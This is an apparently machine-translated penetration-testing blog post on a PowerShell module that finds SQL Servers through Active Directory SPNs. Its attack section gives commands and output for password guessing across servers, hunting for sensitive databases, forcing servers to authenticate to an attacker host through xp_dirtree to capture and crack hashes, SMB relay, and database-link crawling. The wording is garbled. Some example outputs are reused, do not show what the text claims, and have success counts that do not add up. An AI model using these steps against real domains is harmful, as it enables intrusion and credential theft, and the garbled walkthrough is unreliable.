Quickly locate and attack the SQL Server in the domain

Quickly locate and attack the SQL Server in the domain
Directly locates and attacks the SQL Server in the domain without scanning

Share a novel PowerShell script.

Instead of scanning, it uses the sps-service Principal Name in the Active Directory to identify and attack SQL Server in Windows.

Initially, I wrote this script to help escalate and locate dangerous data during penetration testing. However, I will show the Attack and Defense sides how this script can exert its power.

Non-scan sniffing SQL Server

If you do not have a credential or are searching for SQL Server outside the domain, it is useful to use multiple scanning techniques to locate the SQL Server service. However, this process is cumbersome and time-consuming, and SQL servers are often missed due to Unknown network segments, non-standard ports, and broadcast domain restrictions. Therefore, when I found the service entity name (SPNs) under the Active Directory, I realized that I found a quick way to locate SQL Server in the Windows domain.

Microsoft documents pointed out: "The service subject name (SPNs) is the name uniquely identified by the client for a service instance ". This means that every service installed in the Windows domain will be registered to the Active Directory, including SQL Server. In this way, you do not need to perform scan operations. Any domain user can query the Active Directory Service (ADS) to obtain the complete SQL Server Service list of the current domain. In addition, SPNs also includes valid instance names and ports, which saves you the trouble of detecting them by yourself. For more information about the SPNs, refer to this blog to use LDAP to quickly improve the Domain permission Faster Domain Escalation Using LDAP.

Knowing that the SPNs in AD can be used is fine, but I soon realized that I needed a more automated solution in penetration testing.

Automatic Processing Using the Get-SQLServerAccess PowerShell Module

After some research in the lab, I think I should write a script for automation, it can use LDAP to automatically obtain the SQL Server list from ADS and detect the specific permissions of the current domain user on each SQL Server. So I picked up PowerShell and provided everything I needed. For example, the standard PowerShell v3 installation version contains LDAP queries, SQL Server queries, IP resolution, ICMP requests, and multiple data structures. These functions are out-of-the-box and do not need to be imported into other libraries, commands, and modules.

 

After a few modifications, I package them into a PowserShell module named "Get-SqlServer-Escalate-CheckAccess. psml". I try to add as many options as possible so that the defender can quickly identify dangerous privileges and the attacker can find weaknesses that can be used to enhance domain permissions. It allows you to easily locate data storage locations. Below I will focus on some of the common functions used by attackers and defenders.

 

Since I have written Get-SqlServer-Escalate-CheckAccess as a PowerShell module, I will first introduce the installation steps for those who are not familiar with it.

Install/Get-SqlServer-Escalate-CheckAccess Module

This script can be downloaded from my github, and sometimes I will submit it to the Posh-SecMod project. However, note that this module requires the PowerShell v3 environment. Manually download the Get-SqlServer-Escalate-CheckAccess.psml to any of the following two locations to complete the module installation:

 

%USERPROFILE%\\Documents\\Windows\\PowerShell\\Modules\\Get-SqlServer-Escalate-CheckAccess.psm1%WINDIR%\\System32\\Windows\\PowerShellv1.0\\Modules\\Get-SqlServer-Escalate-CheckAccess.psm1

Or use this command to import the module:

Import-Module c:\\temp\\Get-SqlServer-Escalate-CheckAccess.psm1

Then, you can use this language to determine whether the import is successful (or run directly)

Get-Command Get-SqlServer-Escalate-CheckAccess

 

Protection case

Database Administrators usually give all domain users the permission to log on to SQL Server, because they often do not know what permissions are required by the domain user group. In addition, due to permission Inheritance Issues (previously mentioned in my blog post), the old version of SQL Server allows domain users to log on by default. These error configurations allow domain users to access data and systems without authentication permissions. It is helpful for the defender to quickly identify these error configurations so that they can be corrected in sequence.

 

The default output of the Get-SqlServer-Escalate-CheckAccess script lists the SQL servers that allow users in the current domain to log on. In addition, if you have the sysadmin permission for SQL Server and the user who runs the SQL Server service is a domain administrator, the output displays the name of the SQL Server instance. The following examples are useful to the defender.

 

 

1. Obtain the SQL Server list from ADS through LDAP query, and try to log on to each SQL Server instance with the current domain user. The default output is as follows:

PS C:\Get-SqlServer-Escalate-CheckAccess[*] ----------------------------------------------------------------------[*] Start Time: 04/01/2014 10:00:00[*] Domain: mydomain.com[*] DC: dc1.mydomain.com [*] Getting list of SQL Server instances from DC as mydomainmyuser...[*] 5 SQL Server instances found in LDAP.[*] Attempting to login into 5 SQL Server instances as mydomainmyuser...[*] ----------------------------------------------------------------------[-] Failed   - server1.mydomain.com is not responding to pings[-] Failed   - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed[+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No[+] SUCCESS! - server3.mydomain.comSQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No[+] SUCCESS! - server4.mydomain.comAppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes[*] ----------------------------------------------------------------------[*] 3 of 5 SQL Server instances could be accessed.[*] End Time: 04/01/2014 10:02:00[*] Total Time: 00:02:00[*] ----------------------------------------------------------------------

 

2. Obtain the SQL Server list from ADS through LDAP query, and try to log on to each SQL Server instance as the current domain user. In this example, all output results are saved to the CSV file:

PS C:\Get-SqlServer-Escalate-CheckAccess -ShowSum | export-csv c:\temp\sql-server-excessive-privs.csv[*] ----------------------------------------------------------------------[*] Start Time: 04/01/2014 10:00:00[*] Domain: mydomain.com[*] DC: dc1.mydomain.com[*] Getting list of SQL Server instances from DC as mydomainmyuser...[*] 5 SQL Server instances found in LDAP.[*] Attempting to login into 5 SQL Server instances as mydomainmyuser...[*] ----------------------------------------------------------------------[-] Failed   - server1.mydomain.com is not responding to pings[-] Failed   - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed[+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No[+] SUCCESS! - server3.mydomain.comSQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No[+] SUCCESS! - server4.mydomain.comAppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes[*] ----------------------------------------------------------------------[*] 3 of 5 SQL Server instances could be accessed.[*] End Time: 04/01/2014 10:02:00       [*] Total Time: 00:02:00[*] ----------------------------------------------------------------------

 

The following is the output result of an example:

The above example shows the results of my tests in the lab, but in the real environment I often find hundreds of thousands of servers. For your interest, I suggest you run this script with a domain account. Use unzip xec.exe-s-I cmd.exe "to start a LocalSystem shell and run the preceding script. I think you will be surprised at how many SQL servers can be accessed by the current domain account (I still remember how surprised I was ...). The following is an example of an attack.

Attacker Cases

There are many attack methods against SQL Server, but what I will show below is how to use this script to run the five attack methods.

 

1. Weak Password prediction is still an effective attack method. In each client environment, we usually find a small number of SQL servers with weak passwords. The login name generally contains sa, test, dba, user, and sysadmin. The honey Code generally includes [user name], [company name], password, Password1, and SQL. Although many password cracking tools are available on the market, I have added options out of interest to provide a customized SQL parser to verify the SQL Server instance found in ADS. The following is an example, note: This option is convenient for testing SQL Server logon on multiple servers.

PS C:\Get-SqlServer-Escalate-CheckAccess -sqluser test -sqlpass test[*] ----------------------------------------------------------------------[*] Start Time: 04/01/2014 10:00:00[*] Domain: mydomain.com[*] DC: dc1.mydomain.com[*] Getting list of SQL Server instances from DC as mydomainmyuser...[*] 5 SQL Server instances found in LDAP.[*] Attempting to login into 5 SQL Server instances as test...[*] ----------------------------------------------------------------------[-] Failed   - server1.mydomain.com is not responding to pings[-] Failed   - server2.mydomain.com (192.168.1.102) is up, but authentication failed[+] Failed   - server3.mydomain.com,1433 (192.168.1.103) is up, but authentication failed[+] Failed   - server3.mydomain.comSQLEXPRESS (192.168.1.103) is up, but authentication failed[+] SUCCESS! - server4.mydomain.comAppData (192.168.1.104) - Sysadmin: No - SvcIsDA: Yes[*] ----------------------------------------------------------------------[*] 1 of 5 SQL Server instances could be accessed.[*] End Time: 04/01/2014 10:02:00[*] Total Time: 00:02:00[*] ----------------------------------------------------------------------

 

2. Searching for sensitive data is always very important. You can use the custom "-query" parameter to query information you are interested in on each available SQL Server instance. The following example shows how to list the databases that the current user can access on each server.

PS C:\Get-SqlServer-Escalate-CheckAccess -query "select name as 'Databases' from master..sysdatabases where HAS_DBACCESS(name) = 1"[*] ----------------------------------------------------------------------[*] Start Time: 04/01/2014 10:00:00[*] Domain: mydomain.com[*] DC: dc1.mydomain.com[*] Getting list of SQL Server instances from DC as mydomainmyuser...[*] 5 SQL Server instances found in LDAP.[*] Attempting to login into 5 SQL Server instances as test...[*] ----------------------------------------------------------------------[-] Failed   - server1.mydomain.com is not responding to pings[-] Failed   - server2.mydomain.com (192.168.1.102) is up, but authentication failed[+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103)-Sysadmin:No - SvcIsDA:No[+] Query sent: select name as 'Databases' from master..sysdatabases where HAS_DBACCESS(name) = 1[+] Query output:Databases---------mastertempdbmsdb[+] SUCCESS! - server3.mydomain.comSQLEXPRESS(192.168.1.103)-Sysadmin:No-SvcIsDA:No[+] Query sent: select name as 'Databases' from master..sysdatabases where HAS_DBACCESS(name) = 1[+] Query output:Databases---------mastertempdbmsdb[+] SUCCESS! - server4.mydomain.comAppData(192.168.1.104)-Sysadmin: Yes-SvcIsDA: Yes[+] Query sent: select name as 'Databases' from master..sysdatabases where HAS_DBACCESS(name) = 1[+] Query output:Databases---------mastertempdbmsdbPCIDataDBApplicationDBCompanySecrects[*] ----------------------------------------------------------------------[*] 3 of 5 SQL Server instances could be accessed.[*] End Time: 04/01/2014 10:02:00[*] Total Time: 00:02:00[*] ----------------------------------------------------------------------

 

 

3. Capturing and cracking the password hash value of the service account is still an effective attack method for obtaining the SQL Server service account during penetration testing. In many cases, a service account has the administrator permissions for all SQL Server databases in its environment, and sometimes the account may also have the domain administrator privilege. I wrote a blog post on "capturing and passing the hash of the SQL Server service account password. In the following example, I will show how to use the "-query" parameter to force SQL Server to authenticate an attacker from 192.168.1.50.

PS C:\Get-SqlServer-Escalate-CheckAccess -query "exec master..xp_dirtree '\\192.168.1.50\file'"[*] ----------------------------------------------------------------------[*] Start Time: 04/01/2014 10:00:00[*] Domain: mydomain.com[*] DC: dc1.mydomain.com[*] Getting list of SQL Server instances from DC as mydomainmyuser...[*] 5 SQL Server instances found in LDAP.[*] Attempting to login into 5 SQL Server instances as mydomainmyuser...[*] ----------------------------------------------------------------------[-] Failed   - server1.mydomain.com is not responding to pings[-] Failed   - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed[+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No[+] Custom query sent: exec master..xp_dirtree '\\192.168.1.50\\file'[+] SUCCESS! - server3.mydomain.comSQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No[+] Custom query sent: exec master..xp_dirtree '\\192.168.1.50\\file' [+] SUCCESS! - server4.mydomain.comAppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes[+] Custom query sent: exec master..xp_dirtree '\\192.168.1.50\\file'[*] ----------------------------------------------------------------------[*] 3 of 5 SQL Server instances could be accessed.[*] End Time: 04/01/2014 10:02:00[*] Total Time: 00:02:00[*] ----------------------------------------------------------------------

Responder is an excellent tool for capturing the hash of passwords being sent between SQL servers. It can be downloaded from Responder github. Captured hash values can be cracked using tools such as OCLHashcat.

 

4. Using a shared SQL Server service account to construct an SMB relay attack is almost always effective. However, the trouble is to find out which SQL servers are configured to use the same service account. To solve this problem, I added several parameters to the script to capture and display the service account from all accessible servers. These parameters are "-showsum" and "-showstatus ". A service account can be output as a csv file. Once a service account is found, the method mentioned in my previous blog can be used to take over SQL Server at the operating system level. The following simple example shows how to find the SQL Server that shares the same service account:

PS C:\Get-SqlServer-Escalate-CheckAccess -ShowSum | export-csv c:\temp\sql-server-excessive-privs.csv[*] ----------------------------------------------------------------------[*] Start Time: 04/01/2014 10:00:00[*] Domain: mydomain.com[*] DC: dc1.mydomain.com[*] Getting list of SQL Server instances from DC as mydomainmyuser...[*] 5 SQL Server instances found in LDAP.[*] Attempting to login into 5 SQL Server instances as mydomainmyuser...[*] ----------------------------------------------------------------------[-] Failed   - server1.mydomain.com is not responding to pings[+] SUCCESS! - server2.mydomain.comAppOneDev (192.168.1.102) - Sysadmin: No - SvcIsDA: No[+] SUCCESS! - server3.mydomain.comAppOneProd (192.168.1.103) - Sysadmin: No - SvcIsDA: No[+] SUCCESS! - server3.mydomain.comSQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No[+] SUCCESS! - server4.mydomain.comAppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes[*] ----------------------------------------------------------------------[*] 3 of 5 SQL Server instances could be accessed.[*] End Time: 04/01/2014 10:02:00[*] Total Time: 00:02:00[*] ----------------------------------------------------------------------

 

 

In this example, you can see that three servers use the same domain service account.

 

5. crawling the database link and running the query with the sysadmin privilege is almost the method we use in every environment. Antti Rantasaari gave a good introduction to database links in his blog "How to black out database links in SQL Server. Not long ago, we also wrote a Metasploit module for the attack database link. Although you can blindly traverse database links, I think it is more convenient to use this script to capture links from every accessible SQL Server. You can use the "-showsum" and "-showstatus" parameters to display links. Similar to the previous example, The results in this example can also be saved as csv, as follows:

PS C:\Get-SqlServer-Escalate-CheckAccess -ShowSum | export-csv c:\temp\sql-server-excessive-privs.csv[*] ----------------------------------------------------------------------[*] Start Time: 04/01/2014 10:00:00[*] Domain: mydomain.com[*] DC: dc1.mydomain.com[*] Getting list of SQL Server instances from DC as mydomainmyuser...[*] 5 SQL Server instances found in LDAP.[*] Attempting to login into 5 SQL Server instances as mydomainmyuser...[*] ----------------------------------------------------------------------[-] Failed   - server1.mydomain.com is not responding to pings[+] SUCCESS! - server2.mydomain.comAppOneDev (192.168.1.102) - Sysadmin: No - SvcIsDA: No[+] SUCCESS! - server3.mydomain.comAppOneProd (192.168.1.103) - Sysadmin: No - SvcIsDA: No[+] SUCCESS! - server3.mydomain.comSQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No[+] SUCCESS! - server4.mydomain.comAppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes[*] ----------------------------------------------------------------------[*] 3 of 5 SQL Server instances could be accessed.[*] End Time: 04/01/2014 10:02:00[*] Total Time: 00:02:00[*] ----------------------------------------------------------------------

 

You can see that the two servers in the above example have active server connections, which may be secretly used.